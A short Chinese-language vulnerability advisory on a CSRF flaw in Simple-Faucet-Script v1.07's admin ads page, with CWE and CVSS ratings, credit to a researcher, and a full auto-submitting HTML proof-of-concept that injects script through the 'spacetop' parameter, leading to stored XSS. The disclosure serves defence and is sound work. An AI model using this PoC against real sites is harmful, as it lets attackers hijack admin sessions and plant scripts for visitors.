Salmen2/Simple-Faucet-Script v1.07 中存在一个跨站请求伪造(CSRF)漏洞,攻击者可通过向 admin.php?p=ads&c=1 发送特制的 POST 请求来执行任意代码。
CWE-352:跨站请求伪造(CSRF)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
该产品在管理面板上存在跨站请求伪造(CSRF)漏洞。当已认证的管理员访问包含 PoC 的恶意页面时,CSRF 攻击将导致首页内容被未经授权地修改。
<!DOCTYPE html>
<html>
<head>
<title>CSRF PoC</title>
</head>
<body>
<h3>Standard CSRF PoC</h3>
<form action="https://example.com/admin.php?p=ads&c=1" method="post">
<input type="hidden" name="spacetop" value="<script>alert();</script>" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
攻击者可通过 spacetop 参数向首页注入任意 HTML/JavaScript,从而导致存储型跨站脚本(XSS)。
Muntadhar M. Ahmed (almuntadhar0x01)